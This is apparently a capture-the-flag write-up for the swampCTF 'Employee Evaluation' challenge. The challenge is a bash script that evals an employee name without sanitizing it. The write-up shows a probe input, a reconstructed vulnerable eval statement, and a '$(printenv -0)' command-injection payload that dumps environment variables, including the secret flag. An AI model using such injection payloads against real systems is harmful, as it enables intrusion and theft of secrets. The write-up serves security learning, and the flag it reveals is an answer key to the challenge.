 "Employee Evaluation"
In this challenge, we're presented with a script prompting us for input.
            /-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-\            |                                       |            |  SwampCo Employee Evaluation Script™  |            |                                       |            |  Using a new, robust, and blazingly   |            |  fast BASH workflow, lookup of your   |            |  best employee score is easier than   |            |  ever--all from the safe comfort of   |            |     a familiar shell environment      |            |                                       |            \-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-/
            To start, enter the employee's name...
 
From this, it's evident that the target software is written in bash. Keeping that in mind, let's check if inputs are sanitized by entering the `$` symbol (which is used for string substitution in bash):
            ...            To start, enter the employee's name...            $            /app/run: line 44: ${employee_$_score}: bad substitution 
Now we have some idea of what's going on here: somewhere within the target software, there's a statement something along the lines of
            eval " if [ -n \"\${employee_${name}_score}\" ]; then echo \"Employee "'${name}'" score: \$employee_${name}_score\" else echo \"Employee not found. Please consult your records.\" fi " 
Looking at the substitutions, it's clear that user input is not properly sanitized before being `eval`-d. From here, all we have to do is escape the substitution to inject our own commands. Let's start by printing the environment variables:
            ...            To start, enter the employee's name...            ?$(printenv -0)            /app/run: line 44: warning: command substitution: ignored null byte in input            /app/run: line 44: employee_: [...] ____secret_never_reveal_pls_thx__=swampCTF{eva1_c4t_pr0c_3nvir0n_2942} [...] 
And there's our flag!**swampCTF{eva1_c4t_pr0c_3nvir0n_2942}**